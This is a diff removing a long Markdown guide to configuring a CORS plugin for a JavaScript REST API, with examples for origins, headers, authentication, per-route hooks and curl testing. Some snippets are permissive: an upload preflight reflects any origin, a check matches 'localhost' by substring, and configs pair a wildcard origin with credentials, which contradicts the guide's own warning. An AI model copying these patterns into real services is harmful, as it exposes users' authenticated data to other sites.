- // This allows:
369
- // https://acme-corp.myapp.com
370
- // https://tech-startup.myapp.com
371
- // https://client-123.myapp.com
372
- ```
373
-
374
- #### Dynamic Origin Validation
375
-
376
- **What it does:** Uses a function to determine if an origin should be allowed, enabling complex logic.
377
-
378
- **Real-world scenario:** You need to check origins against a database, implement rate limiting, or apply business logic.
379
-
380
- ```javascript
381
- const allowedOrigins = new Set([
382
- 'https://app.example.com',
383
- 'https://staging.example.com'
384
- ]);
385
-
386
- await api.use(CorsPlugin, {
387
- 'rest-api-cors': {
388
- origin: (origin) => {
389
- // Custom logic to determine if origin is allowed
390
- return allowedOrigins.has(origin) || origin.endsWith('.trusted.com');
391
- }
392
- }
393
- });
394
- ```
395
-
396
- **How it works:**
397
- - The function receives the origin from each request
398
- - Returns `true` to allow, `false` to block
399
- - Can implement any logic: database checks, pattern matching, time-based rules
400
-
401
- **Advanced example with database check:**
402
-
403
- ```javascript
404
- await api.use(CorsPlugin, {
405
- 'rest-api-cors': {
406
- origin: async (origin) => {
407
- // Check if origin is in our whitelist database
408
- const isWhitelisted = await db('cors_whitelist')
409
- .where({ origin, active: true })
410
- .first();
411
-
412
- if (isWhitelisted) return true;
413
-
414
- // Check if it's a development environment
415
- if (origin.includes('localhost') && process.env.NODE_ENV === 'development') {
416
- return true;
417
- }
418
-
419
- // Check if it's a partner domain
420
- const partner = await db('partners')
421
- .where('domain', origin)
422
- .where('api_access', true)
423
- .first();
424
-
425
- return !!partner;
426
- }
427
- }
428
- });
429
- ```
430
-
431
- **Rate limiting example:**
432
-
433
- ```javascript
434
- const originRequestCounts = new Map();
435
-
436
- await api.use(CorsPlugin, {
437
- 'rest-api-cors': {
438
- origin: (origin) => {
439
- // Always allow your main domains
440
- if (origin === 'https://app.example.com') return true;
441
-
442
- // Rate limit other origins
443
- const count = originRequestCounts.get(origin) || 0;
444
- if (count > 1000) {
445
- console.warn(`Rate limit exceeded for origin: ${origin}`);
446
- return false;
447
- }
448
-
449
- originRequestCounts.set(origin, count + 1);
450
- return true;
451
- }
452
- }
453
- });
454
- ```
455
-
456
- #### Custom Headers
457
-
458
- **What it does:** Configures which headers browsers can send to and receive from your API.
459
-
460
- **Real-world scenario:** Your API uses custom headers for versioning, feature flags, or tracking.
461
-
462
- ```javascript
463
- await api.use(CorsPlugin, {
464
- 'rest-api-cors': {
465
- origin: '*',
466
- allowedHeaders: [
467
- 'Content-Type',
468
- 'Authorization',
469
- 'X-API-Key',
470
- 'X-Client-Version'
471
- ],
472
- exposedHeaders: [
473
- 'X-Total-Count',
474
- 'X-RateLimit-Limit',
475
- 'X-RateLimit-Remaining',
476
- 'X-Response-Time'
477
- ]
478
- }
479
- });
480
- ```
481
-
482
- **Understanding allowedHeaders:**
483
- These are headers the browser is allowed to include in requests:
484
- - `Content-Type`: Essential for JSON APIs
485
- - `Authorization`: For Bearer tokens, Basic auth
486
- - `X-API-Key`: Custom API key header
487
- - `X-Client-Version`: Track client app versions
488
-
489
- **Understanding exposedHeaders:**
490
- By default, JavaScript can only read these response headers: Cache-Control, Content-Language, Content-Type, Expires, Last-Modified, Pragma. Your custom headers need explicit exposure:
491
- - `X-Total-Count`: Total items for pagination
492
- - `X-RateLimit-Limit`: Max requests allowed
493
- - `X-RateLimit-Remaining`: Requests left
494
- - `X-Response-Time`: Performance monitoring
495
-
496
- **Real-world example for a versioned API:**
497
-
498
- ```javascript
499
- await api.use(CorsPlugin, {
500
- 'rest-api-cors': {
501
- origin: 'https://app.example.com',
502
- allowedHeaders: [
503
- 'Content-Type',
504
- 'Authorization',
505
- 'X-Request-ID', // For request tracking
506
- 'X-Client-ID', // Identify different client apps
507
- 'X-Feature-Flags' // Client-specific features
508
- ],
509
- exposedHeaders: [
510
- 'X-Deprecated', // Warn about deprecated endpoints
511
- 'X-Request-ID', // For debugging
512
- 'X-Cache-Status', // Was this cached?
513
- 'X-Response-Time', // Performance metrics
514
- 'Link', // Pagination links
515
- 'Warning' // API warnings
516
- ]
517
- }
518
- });
519
- ```
520
-
521
- ## Common Use Cases
522
-
523
- These examples show typical CORS configurations for different scenarios you'll encounter in real projects.
524
-
525
-
526
- ### Development Environment
527
-
528
- **Purpose:** Maximum flexibility during development, allowing requests from any origin.
529
-
530
- **Why you need this:** During development, you might access your API from:
531
- - `http://localhost:3000` (React dev server)
532
- - `http://localhost:8080` (Vue dev server)
533
- - `http://127.0.0.1:5000` (Python Flask app)
534
- - `http://192.168.1.100:3000` (testing on mobile via local network)
535
- - Browser extensions, Postman, mobile apps, etc.
536
-
537
- ```javascript
538
- await api.use(CorsPlugin, {
539
- 'rest-api-cors': {
540
- origin: '*',
541
- credentials: true
542
- }
543
- });
544
- ```
545
-
546
- **What this enables:**
547
- - ✅ Any developer can work with the API without CORS issues
548
- - ✅ Testing tools (Postman, Insomnia) work without configuration
549
- - ✅ Mobile app developers can test from devices/emulators
550
- - ✅ No need to maintain a whitelist during rapid development
551
-
552
- **Security note:** NEVER use this configuration in production. It allows any website to access your API and potentially access user data if they're logged in.
553
-
554
- ### Production with Known Clients
555
-
556
- **Purpose:** Lock down your API to only trusted domains in production.
557
-
558
- **Why you need this:** In production, you know exactly which domains should access your API. Restricting access prevents:
559
- - Malicious websites from accessing your API
560
- - Data scraping from unauthorized sources
561
- - CSRF attacks from untrusted origins
562
-
563
- ```javascript
564
- const isProduction = process.env.NODE_ENV === 'production';
565
-
566
- await api.use(CorsPlugin, {
567
- 'rest-api-cors': {
568
- origin: isProduction
569
- ? ['https://app.mycompany.com', 'https://admin.mycompany.com']
570
- : '*',
571
- credentials: true,
572
- maxAge: isProduction ? 86400 : 3600
573
- }
574
- });
575
- ```
576
-
577
- **What this does:**
578
- - **In Production:** Only `app.mycompany.com` and `admin.mycompany.com` can access the API
579
- - **In Development:** Any origin can access (for convenience)
580
- - **maxAge difference:** Production caches preflight for 24 hours (less requests), development for 1 hour (faster config changes)
581
-
582
- **Real-world example with environment configs:**
583
-
584
- ```javascript
585
- // config/cors.js
586
- const corsConfigs = {
587
- development: {
588
- origin: '*',
589
- credentials: true,
590
- maxAge: 3600 // 1 hour
591
- },
592
- staging: {
593
- origin: [
594
- 'https://staging.myapp.com',
595
- 'https://preview.myapp.com',
596
- 'https://qa.myapp.com'
597
- ],
598
- credentials: true,
599
- maxAge: 43200 // 12 hours
600
- },
601
- production: {
602
- origin: [
603
- 'https://app.myapp.com',
604
- 'https://www.myapp.com',
605
- 'https://mobile.myapp.com'
606
- ],
607
- credentials: true,
608
- maxAge: 86400 // 24 hours
609
- }
610
- };
611
-
612
- await api.use(CorsPlugin, {
613
- 'rest-api-cors': corsConfigs[process.env.NODE_ENV] || corsConfigs.development
614
- });
615
- ```
616
-
617
- ### Public API without Credentials
618
-
619
- **Purpose:** Create a truly public API that anyone can use, like a weather service or data API.
620
-
621
- **Why you need this:** Public APIs typically:
622
- - Don't use cookies or session-based auth (use API keys instead)
623
- - Should be accessible from any website
624
- - Need to be cached efficiently by browsers
625
- - Often read-only (GET requests only)
626
-
627
- ```javascript
628
- await api.use(CorsPlugin, {
629
- 'rest-api-cors': {
630
- origin: '*',
631
- credentials: false,
632
- methods: ['GET', 'OPTIONS'],
633
- maxAge: 3600
634
- }
635
- });
636
- ```
637
-
638
- **Key differences from default:**
639
- - `credentials: false` - No cookies/auth headers (allows true wildcard)
640
- - `methods: ['GET', 'OPTIONS']` - Read-only API
641
- - `maxAge: 3600` - Shorter cache for easier updates
642
-
643
- **Real-world example - Public data API:**
644
-
645
- ```javascript
646
- // Public cryptocurrency prices API
647
- await api.use(CorsPlugin, {
648
- 'rest-api-cors': {
649
- origin: '*',
650
- credentials: false, // No user-specific data
651
- methods: ['GET', 'OPTIONS'], // Read-only
652
- allowedHeaders: [
653
- 'Content-Type',
654
- 'X-API-Key' // Still require API key for rate limiting
655
- ],
656
- exposedHeaders: [
657
- 'X-RateLimit-Limit',
658
- 'X-RateLimit-Remaining',
659
- 'X-RateLimit-Reset',
660
- 'X-Data-Source',
661
- 'X-Last-Updated'
662
- ],
663
- maxAge: 300 // 5 minutes - data updates frequently
664
- }
665
- });
666
- ```
667
-
668
- **What this achieves:**
669
- - Any website can embed your data
670
- - No security risks from credentials
671
- - Browsers can efficiently cache responses
672
- - API keys still work for rate limiting
673
-
674
- ### Subdomain Wildcard
675
-
676
- **Purpose:** Allow all subdomains of your company domain while blocking external sites.
677
-
678
- **Why you need this:** Common in organizations where:
679
- - Different teams have different subdomains
680
- - Customer-specific subdomains (tenant1.app.com, tenant2.app.com)
681
- - Environment-based subdomains (dev.app.com, staging.app.com)
682
- - Regional subdomains (us.app.com, eu.app.com, asia.app.com)
683
-
684
- ```javascript
685
- await api.use(CorsPlugin, {
686
- 'rest-api-cors': {
687
- origin: /^https:\/\/([a-z0-9]+[.])*mycompany\.com$/,
688
- credentials: true
689
- }
690
- });
691
- ```
692
-
693
- **What the regex allows:**
694
- - ✅ `https://mycompany.com` (main domain)
695
- - ✅ `https://app.mycompany.com` (single subdomain)
696
- - ✅ `https://staging.app.mycompany.com` (nested subdomains)
697
- - ✅ `https://customer-123.mycompany.com` (with hyphens)
698
- - ❌ `http://app.mycompany.com` (not HTTPS)
699
- - ❌ `https://mycompany.com.evil.com` (domain suffix attack)
700
- - ❌ `https://app.mycompany.co` (wrong TLD)
701
-
702
- **More specific examples:**
703
-
704
- ```javascript
705
- // Only allow specific subdomain patterns
706
- await api.use(CorsPlugin, {
707
- 'rest-api-cors': {
708
- // Only customer subdomains (customer-xxx.myapp.com)
709
- origin: /^https:\/\/customer-[a-z0-9]+\.myapp\.com$/,
710
- credentials: true
711
- }
712
- });
713
-
714
- // Allow multiple levels but require 'app' somewhere
715
- await api.use(CorsPlugin, {
716
- 'rest-api-cors': {
717
- // Matches: app.mycompany.com, staging.app.mycompany.com, app.eu.mycompany.com
718
- origin: /^https:\/\/(.+\.)?app(\..+)?\.mycompany\.com$/,
719
- credentials: true
720
- }
721
- });
722
-
723
- // Different TLDs for different regions
724
- await api.use(CorsPlugin, {
725
- 'rest-api-cors': {
726
- origin: (origin) => {
727
- const allowedPatterns = [
728
- /^https:\/\/(.+\.)?mycompany\.com$/, // .com for US
729
- /^https:\/\/(.+\.)?mycompany\.co\.uk$/, // .co.uk for UK
730
- /^https:\/\/(.+\.)?mycompany\.de$/, // .de for Germany
731
- /^https:\/\/(.+\.)?mycompany\.jp$/ // .jp for Japan
732
- ];
733
- return allowedPatterns.some(pattern => pattern.test(origin));
734
- },
735
- credentials: true
736
- }
737
- });
738
- ```
739
-
740
- ## Advanced Patterns
741
-
742
- These patterns show sophisticated CORS configurations for complex real-world scenarios.
743
-
744
- ### Why These Patterns Matter
745
-
746
- 1. **Environment-Based**: Different security requirements for dev/staging/prod
747
- 2. **Per-Route CORS**: Some endpoints need different CORS rules
748
- 3. **Authentication Integration**: CORS and auth systems must work together
749
- 4. **Base URL Support**: APIs served from subpaths need special handling
750
-
751
- Each pattern solves specific architectural challenges you'll face in production systems.
752
-
753
- ### Environment-Based Configuration
754
-
755
- ```javascript
756
- function getCorsConfig() {
757
- const env = process.env.NODE_ENV;
758
-
759
- switch (env) {
760
- case 'development':
761
- return {
762
- origin: '*',
763
- credentials: true,
764
- maxAge: 3600 // 1 hour cache in dev
765
- };
766
-
767
- case 'staging':
768
- return {
769
- origin: [
770
- 'https://staging.example.com',
771
- 'https://preview.example.com'
772
- ],
773
- credentials: true,
774
- maxAge: 43200 // 12 hours
775
- };
776
-
777
- case 'production':
778
- return {
779
- origin: (origin) => {
780
- // Allow production domains and verified partners
781
- const allowed = [
782
- 'https://app.example.com',
783
- 'https://www.example.com'
784
- ];
785
-
786
- const partners = getVerifiedPartnerDomains(); // Your logic
787
- return allowed.includes(origin) || partners.includes(origin);
788
- },
789
- credentials: true,
790
- maxAge: 86400 // 24 hours
791
- };
792
-
793
- default:
794
- return { origin: 'https://localhost:3000' };
795
- }
796
- }
797
-
798
- await api.use(CorsPlugin, {
799
- 'rest-api-cors': getCorsConfig()
800
- });
801
- ```
802
-
803
- ### Per-Route CORS (Using Hooks)
804
-
805
- **Important Understanding:** The CORS plugin is essentially a sophisticated header management system. It:
806
- 1. Intercepts requests to check origins
807
- 2. Handles OPTIONS preflight requests
808
- 3. Adds appropriate headers to responses
809
-
810
- Since it works with headers, you can override or extend its behavior using hooks for specific routes.
811
-
812
- **Why You'd Need Per-Route CORS:**
813
- - Public endpoints vs authenticated endpoints
814
- - Different security requirements for admin routes
815
- - Partner-specific API endpoints
816
- - Legacy compatibility requirements
817
-
818
- ```javascript
819
- // Add custom headers for specific routes
820
- api.addHook('transport:response', 'custom-cors', async ({ context }) => {
821
- const { request, response } = context.transport;
822
-
823
- // Add extra CORS headers for admin routes
824
- if (request.path.startsWith('/api/admin')) {
825
- response.headers['Access-Control-Allow-Origin'] = 'https://admin.example.com';
826
- response.headers['Access-Control-Max-Age'] = '7200'; // Shorter cache for admin
827
- }
828
- });
829
- ```
830
-
831
- **What This Code Does:**
832
- 1. Hooks into the response pipeline AFTER the CORS plugin
833
- 2. Checks if the request is for an admin route
834
- 3. Overrides the CORS headers for stricter control
835
- 4. Sets a shorter cache time for admin preflight requests
836
-
837
- **Complete Per-Route Example:**
838
-
839
- ```javascript
840
- // Different CORS policies for different route types
841
- api.addHook('transport:response', 'route-specific-cors', {
842
- order: -900 // Run after CORS plugin (which is -1000)
843
- }, async ({ context }) => {
844
- const { request, response } = context.transport;
845
- const path = request.path;
846
-
847
- // Public data endpoints - most permissive
848
- if (path.startsWith('/api/public')) {
849
- response.headers['Access-Control-Allow-Origin'] = '*';
850
- delete response.headers['Access-Control-Allow-Credentials'];
851
- }
852
-
853
- // Admin endpoints - most restrictive
854
- else if (path.startsWith('/api/admin')) {
855
- const adminOrigins = ['https://admin.example.com'];
856
- if (adminOrigins.includes(request.headers.origin)) {
857
- response.headers['Access-Control-Allow-Origin'] = request.headers.origin;
858
- response.headers['Access-Control-Allow-Credentials'] = 'true';
859
- } else {
860
- // Remove CORS headers entirely - block the request
861
- delete response.headers['Access-Control-Allow-Origin'];
862
- delete response.headers['Access-Control-Allow-Credentials'];
863
- }
864
- }
865
-
866
- // Partner endpoints - check partner status
867
- else if (path.startsWith('/api/partner')) {
868
- const partnerId = request.params.partnerId;
869
- const partner = await getPartner(partnerId);
870
-
871
- if (partner && partner.allowedOrigins.includes(request.headers.origin)) {
872
- response.headers['Access-Control-Allow-Origin'] = request.headers.origin;
873
- response.headers['Access-Control-Expose-Headers'] = partner.exposedHeaders.join(', ');
874
- }
875
- }
876
- });
877
- ```
878
-
879
- **Route-Specific OPTIONS Handling:**
880
-
881
- You are able to add route-specific headers by adding a route using the addRoute function:
882
-
883
- ```javascript
884
- // Custom preflight handling for specific routes
885
- api.addRoute({
886
- method: 'OPTIONS',
887
- path: '/api/upload/*',
888
- handler: async ({ headers }) => {
889
- // Special CORS for file uploads
890
- return {
891
- statusCode: 204,
892
- headers: {
893
- 'Access-Control-Allow-Origin': headers.origin,
894
- 'Access-Control-Allow-Methods': 'POST, OPTIONS',
895
- 'Access-Control-Allow-Headers': 'Content-Type, Content-Length, X-File-Name',
896
- 'Access-Control-Max-Age': '300' // Only 5 minutes for upload endpoints
897
- }
898
- };
899
- }
900
- });
901
- ```
902
-
903
- However, this must happen before the CORS plugin is registered, since the order in which URLs are added will matter.
904
-
905
- ### CORS with Authentication
906
-
907
- **The Critical Relationship Between CORS and Authentication**
908
-
909
- CORS and authentication are deeply intertwined. When your API uses authentication, CORS configuration becomes security-critical.
910
-
911
- **Key Concepts:**
912
-
913
- 1. **Credentials in CORS** means:
914
- - Cookies (session cookies, auth cookies)
915
- - HTTP authentication headers
916
- - TLS client certificates
917
-
918
- 2. **The Wildcard Restriction:**
919
- - When `credentials: true`, you CANNOT use `origin: '*'`
920
- - The browser requires an exact origin match
921
- - This prevents malicious sites from using user's cookies
922
-
923
- 3. **Security Implications:**
924
- - Wrong CORS + auth = security vulnerability
925
- - Attackers could make authenticated requests from their sites
926
- - User's cookies would be automatically included
927
-
928
- **How Authentication Flows Work with CORS:**
929
-
930
- 1. **Login Flow:**
931
- ```
932
- 1. User visits https://app.example.com
933
- 2. App sends login request to https://api.example.com/auth/login
934
- 3. Browser includes Origin: https://app.example.com
935
- 4. API validates credentials
936
- 5. API sets auth cookie with SameSite=None; Secure
937
- 6. API responds with Access-Control-Allow-Origin: https://app.example.com
938
- 7. API responds with Access-Control-Allow-Credentials: true
939
- 8. Browser stores cookie for api.example.com
940
- ```
941
-
942
- 2. **Authenticated Request Flow:**
943
- ```
944
- 1. App makes request to https://api.example.com/user/profile
945
- 2. Browser automatically includes auth cookie
946
- 3. Browser includes Origin: https://app.example.com
947
- 4. API validates cookie and origin
948
- 5. API responds with user data and CORS headers
949
- ```
950
-
951
- **Common pattern for APIs with authentication:**
952
-
953
- ```javascript
954
- await api.use(CorsPlugin, {
955
- 'rest-api-cors': {
956
- origin: (origin) => {
957
- // Always allow your known origins
958
- const knownOrigins = [
959
- 'https://app.example.com',
960
- 'https://mobile.example.com'
961
- ];
962
-
963
- if (knownOrigins.includes(origin)) {
964
- return true;
965
- }
966
-
967
- // For other origins, you might check against a database
968
- // return checkOriginInDatabase(origin);
969
-
970
- return false;
971
- },
972
- credentials: true, // Required for cookies/auth headers
973
- allowedHeaders: [
974
- 'Content-Type',
975
- 'Authorization',
976
- 'X-CSRF-Token' // If using CSRF protection
977
- ],
978
- exposedHeaders: [
979
- 'X-Auth-Token-Expiry',
980
- 'X-Rate-Limit-Remaining'
981
- ]
982
- }
983
- });
984
- ```
985
-
986
- **Complete Authentication Example:**
987
-
988
- ```javascript
989
- // Full setup for authenticated API
990
- await api.use(CorsPlugin, {
991
- 'rest-api-cors': {
992
- origin: (origin) => {
993
- // Strict origin validation for authenticated endpoints
994
- const allowedOrigins = [
995
- 'https://app.example.com',
996
- 'https://mobile.example.com',
997
- process.env.NODE_ENV === 'development' ? 'http://localhost:3000' : null
998
- ].filter(Boolean);
999
-
1000
- return allowedOrigins.includes(origin);
1001
- },
1002
- credentials: true, // MUST be true for cookies
1003
- allowedHeaders: [
1004
- 'Content-Type',
1005
- 'Authorization', // For Bearer tokens
1006
- 'X-CSRF-Token', // CSRF protection
1007
- 'X-Requested-With' // Ajax detection
1008
- ],
1009
- exposedHeaders: [
1010
- 'X-Auth-Expired', // Tell client when to refresh
1011
- 'X-CSRF-Token', // New CSRF token
1012
- 'X-User-Role' // Client-side authorization
1013
- ],
1014
- maxAge: 7200 // 2 hours - balance security and performance
1015
- }
1016
- });
1017
-
1018
- // Cookie configuration (Express example)
1019
- app.use(session({
1020
- cookie: {
1021
- sameSite: 'none', // Required for cross-origin
1022
- secure: true, // Required with sameSite=none
1023
- httpOnly: true, // Prevent JS access
1024
- domain: '.example.com' // Share across subdomains
1025
- }
1026
- }));
1027
- ```
1028
-
1029
- **Common Authentication Patterns:**
1030
-
1031
- **Note:** These examples show CORS configuration patterns for different authentication methods. JWT generation itself is not part of this library - you'll use your own authentication service (Supabase, Auth0, Firebase Auth, etc.) or implement your own JWT generation.
1032
-
1033
- 1. **JWT with Cookies:**
1034
- ```javascript
1035
- // Secure cookie-based JWT
1036
- api.post('/auth/login', async (req, res) => {
1037
- // generateJWT is YOUR function - implement using Supabase, Auth0, etc.
1038
- const token = generateJWT(user);
1039
- res.cookie('auth-token', token, {
1040
- httpOnly: true,
1041
- secure: true,
1042
- sameSite: 'none',
1043
- maxAge: 7 * 24 * 60 * 60 * 1000 // 7 days
1044
- });
1045
- });
1046
- ```
1047
-
1048
- 2. **Bearer Token Pattern (No CORS Credentials):**
1049
- ```javascript
1050
- // When using Authorization header instead of cookies
1051
- await api.use(CorsPlugin, {
1052
- 'rest-api-cors': {
1053
- origin: '*', // Can use wildcard without credentials
1054
- credentials: false, // No cookies needed
1055
- allowedHeaders: ['Authorization', 'Content-Type']
1056
- }
1057
- });
1058
- ```
1059
-
1060
- 3. **Hybrid Approach:**
1061
- ```javascript
1062
- // Support both cookies and bearer tokens
1063
- api.addHook('transport:request', 'auth-detector', async ({ context, request }) => {
1064
- if (request.headers.authorization) {
1065
- // Bearer token auth - no CORS credentials needed
1066
- context.authType = 'bearer';
1067
- } else if (request.headers.cookie) {
1068
- // Cookie auth - needs CORS credentials
1069
- context.authType = 'cookie';
1070
- }
1071
- });
1072
- ```
1073
-
1074
- ### CORS with Base URL
1075
-
1076
- The CORS plugin works seamlessly with Express base paths.
1077
-
1078
- **What Base URL Means:**
1079
-
1080
- A base URL (or base path) prefixes all your API routes. Instead of:
1081
- - `/api/users`
1082
- - `/api/products`
1083
-
1084
- With base path `/v1`:
1085
- - `/v1/api/users`
1086
- - `/v1/api/products`
1087
-
1088
- **Why Use Base URLs:**
1089
-
1090
- 1. **API Versioning:** `/v1`, `/v2` for different API versions
1091
- 2. **Proxy Configuration:** Nginx routes `/api` to your Node server
1092
- 3. **Microservices:** Different services on different paths
1093
- 4. **CDN/Load Balancer:** Route by path prefix
1094
-
1095
- **How CORS Works with Base URLs:**
1096
-
1097
- The CORS plugin automatically handles the base path. When you set a base path, CORS headers are applied to ALL routes under that path.
1098
-
1099
- ```javascript
1100
- // Express with base path
1101
- await api.use(ExpressPlugin, {
1102
- app: express(),
1103
- basePath: '/v1' // API served at /v1/api/*
1104
- });
1105
-
1106
- // CORS plugin handles the base path automatically
1107
- await api.use(CorsPlugin, {
1108
- 'rest-api-cors': {
1109
- origin: 'https://app.example.com'
1110
- }
1111
- });
1112
-
1113
- // Client requests to /v1/api/articles will have proper CORS headers
1114
- ```
1115
-
1116
- **What Happens Behind the Scenes:**
1117
-
1118
- 1. Express plugin registers routes with base path:
1119
- - `/v1/api/countries`
1120
- - `/v1/api/users`
1121
- - etc.
1122
-
1123
- 2. CORS plugin registers OPTIONS handler for `/v1/*`
1124
-
1125
- 3. All requests under `/v1` get CORS headers
1126
-
1127
- **Complete Example with Multiple APIs:**
1128
-
1129
- ```javascript
1130
- // Serve multiple API versions on same server
1131
- const app = express();
1132
-
1133
- // API v1
1134
- const apiV1 = new Api({ name: 'my-api-v1' });
1135
- await apiV1.use(RestApiPlugin);
1136
- await apiV1.use(ExpressPlugin, {
1137
- app,
1138
- basePath: '/v1'
1139
- });
1140
- await apiV1.use(CorsPlugin, {
1141
- 'rest-api-cors': {
1142
- origin: ['https://app.example.com', 'https://legacy.example.com']
1143
- }
1144
- });
1145
-
1146
- // API v2 with different CORS
1147
- const apiV2 = new Api({ name: 'my-api-v2' });
1148
- await apiV2.use(RestApiPlugin);
1149
- await apiV2.use(ExpressPlugin, {
1150
- app,
1151
- basePath: '/v2'
1152
- });
1153
- await apiV2.use(CorsPlugin, {
1154
- 'rest-api-cors': {
1155
- origin: 'https://app.example.com', // v2 doesn't support legacy
1156
- allowedHeaders: ['Content-Type', 'Authorization']
1157
- }
1158
- });
1159
-
1160
- // Mount both APIs
1161
- apiV1.http.express.mount(app);
1162
- apiV2.http.express.mount(app);
1163
-
1164
- // Results:
1165
- // GET /v1/api/users - CORS allows legacy.example.com
1166
- // GET /v2/api/users - CORS blocks legacy.example.com
1167
- ```
1168
-
1169
- **Important Notes:**
1170
-
1171
- 1. CORS applies to the entire base path, not individual routes
1172
- 2. You cannot have different CORS settings for routes under the same base path
1173
- 3. The base path is transparent to CORS origin checks
1174
- 4. Preflight OPTIONS requests work correctly with base paths
1175
-
1176
- ## Troubleshooting
1177
-
1178
- ### Common Issues and Solutions
1179
-
1180
- | Issue | Cause | Solution |
1181
- |-------|-------|----------|
1182
- | "CORS header 'Access-Control-Allow-Origin' missing" | Origin not allowed | Check origin configuration, ensure it matches exactly |
1183
- | "Credentials flag is true, but Access-Control-Allow-Credentials is not 'true'" | Credentials mismatch | Ensure `credentials: true` in config |
1184
- | "Multiple CORS headers" | Multiple CORS middleware | Ensure CORS plugin is installed only once |
1185
- | Preflight fails with 404 | OPTIONS route not registered | Check that CORS plugin is installed after transport plugin |
1186
- | Wildcard origin with credentials | Security restriction | Use specific origins when `credentials: true` |
1187
-
1188
- ### Debug CORS Issues
1189
-
1190
- Enable debug logging to troubleshoot:
1191
-
1192
- ```javascript
1193
- const api = new Api({
1194
- name: 'my-api',
1195
- log: { level: 'debug' }
1196
- });
1197
-
1198
- // The CORS plugin will log:
1199
- // - Preflight requests received
1200
- // - Origin validation results
1201
- // - Headers being set
1202
- ```
1203
-
1204
- **Example Debug Output:**
1205
-
1206
- ```
1207
- 2024-01-15T10:23:45.123Z [DEBUG] [my-api:plugin:rest-api-cors] CORS OPTIONS request { origin: 'https://app.example.com' }
1208
- 2024-01-15T10:23:45.124Z [DEBUG] [my-api:plugin:rest-api-cors] CORS processing response {
1209
- origin: 'https://app.example.com',
1210
- method: 'POST',
1211
- path: '/api/users'
1212
- }
1213
- 2024-01-15T10:23:45.125Z [WARN] [my-api:plugin:rest-api-cors] CORS origin not allowed {
1214
- origin: 'https://malicious-site.com',
1215
- allowedOrigins: [ 'https://app.example.com', 'https://admin.example.com' ]
1216
- }
1217
- ```
1218
-
1219
- **What Each Log Means:**
1220
-
1221
- 1. **OPTIONS request log:**
1222
- - Shows preflight requests as they arrive
1223
- - Helps verify browser is sending correct preflight
1224
-
1225
- 2. **Processing response log:**
1226
- - Shows CORS headers being added to regular requests
1227
- - Confirms which origin is being processed
1228
-
1229
- 3. **Origin not allowed warning:**
1230
- - Critical for security - shows blocked attempts
1231
- - Lists what origins ARE allowed for debugging
1232
-
1233
- **Debugging Specific Issues:**
1234
-
1235
- ```javascript
1236
- // Add custom logging for deep debugging
1237
- api.addHook('transport:response', 'cors-debug', { order: -999 },
1238
- async ({ context }) => {
1239
- const { request, response } = context.transport;
1240
- console.log('CORS Debug:', {
1241
- requestOrigin: request.headers.origin,
1242
- responseHeaders: {
1243
- 'Access-Control-Allow-Origin': response.headers['Access-Control-Allow-Origin'],
1244
- 'Access-Control-Allow-Credentials': response.headers['Access-Control-Allow-Credentials']
1245
- },
1246
- allowed: !!response.headers['Access-Control-Allow-Origin']
1247
- });
1248
- }
1249
- );
1250
- ```
1251
-
1252
- ### Testing CORS
1253
-
1254
- **Understanding CORS Testing**
1255
-
1256
- CORS is enforced by browsers, not servers. This creates interesting testing scenarios:
1257
- - **cURL/Postman**: Requests always work (no CORS enforcement)
1258
- - **Browser**: Requests blocked if CORS headers are wrong
1259
- - **Server**: Always sends CORS headers, doesn't block requests
1260
-
1261
- **What These Tests Check:**
1262
-
1263
- 1. **Server sends correct headers** (not whether requests are blocked)
1264
- 2. **Preflight responses** have right status codes
1265
- 3. **Dynamic origin validation** works correctly
1266
-
1267
- **Testing Assumptions:**
1268
- These examples assume:
1269
- - API running on `http://localhost:3000`
1270
- - Testing origin `https://example.com`
1271
- - Default CORS configuration (allows all origins)
1272
-
1273
- **Example using cURL:**
1274
-
1275
- ```bash
1276
- # Test preflight request
1277
- curl -X OPTIONS http://localhost:3000/api/articles \
1278
- -H "Origin: https://example.com" \
1279
- -H "Access-Control-Request-Method: POST" \
1280
- -H "Access-Control-Request-Headers: Content-Type" \
1281
- -v
1282
-
1283
- # Test actual request
1284
- curl -X GET http://localhost:3000/api/articles \
1285
- -H "Origin: https://example.com" \
1286
- -v
1287
- ```
1288
-
1289
- **What to Look For in Preflight Response:**
1290
- ```
1291
- < HTTP/1.1 204 No Content
1292
- < Access-Control-Allow-Origin: https://example.com
1293
- < Access-Control-Allow-Methods: GET, POST, PUT, PATCH, DELETE, OPTIONS
1294
- < Access-Control-Allow-Headers: Content-Type, Authorization, ...
1295
- < Access-Control-Max-Age: 86400
1296
- < Access-Control-Allow-Credentials: true
1297
- < Vary: Origin
1298
- ```
1299
-
1300
- **What to Look For in Regular Response:**
1301
- ```
1302
- < HTTP/1.1 200 OK
1303
- < Access-Control-Allow-Origin: https://example.com
1304
- < Access-Control-Allow-Credentials: true
1305
- < Access-Control-Expose-Headers: X-Total-Count, X-Page-Count, Link
1306
- < Vary: Origin
1307
- < Content-Type: application/vnd.api+json
1308
- ```
1309
-
1310
- **Important Testing Notes:**
1311
-
1312
- 1. **cURL Always Succeeds** - Even with wrong CORS headers:
1313
- ```bash
1314
- # This works in cURL but fails in browser
1315
- curl -X GET http://localhost:3000/api/articles \
1316
- -H "Origin: https://blocked-site.com"
1317
- ```
1318
-
1319
- 2. **Browser Testing is Required** for real CORS validation:
1320
- ```javascript
1321
- // In browser console (will fail if CORS is wrong)
1322
- fetch('http://localhost:3000/api/articles')
1323
- .then(r => r.json())
1324
- .then(console.log)
1325
- .catch(e => console.error('CORS Error:', e));
1326
- ```
1327
-
1328
- 3. **Credentials Make a Difference**:
1329
- ```bash
1330
- # Without credentials (works with wildcard)
1331
- curl -X OPTIONS http://localhost:3000/api/articles \
1332
- -H "Origin: https://any-site.com" \
1333
- -H "Access-Control-Request-Method: GET"
1334
-
1335
- # With credentials (needs specific origin)
1336
- curl -X OPTIONS http://localhost:3000/api/articles \
1337
- -H "Origin: https://any-site.com" \
1338
- -H "Access-Control-Request-Method: GET" \
1339
- -H "Cookie: session=abc123"
1340
- ```
1341
-
1342
- ### Browser DevTools
1343
-
1344
- In Chrome/Firefox DevTools:
1345
- 1. Network tab → Find the request
1346
- 2. Check Response Headers for CORS headers
1347
- 3. For failed requests, check Console for CORS errors
1348
-
1349
- ### Common CORS Headers Explained
1350
-
1351
- **Understanding Each CORS Header in Detail**
1352
-
1353
- #### Core CORS Headers
1354
-
1355
- | Header | Purpose | Example |
1356
- | `Access-Control-Allow-Origin` | **The Most Important Header** - Tells browser which origin can access the response | `https://app.example.com` or `*` |
1357
-
1358
- **Deep Dive: Access-Control-Allow-Origin**
1359
- - Single origin: `Access-Control-Allow-Origin: https://app.example.com`
1360
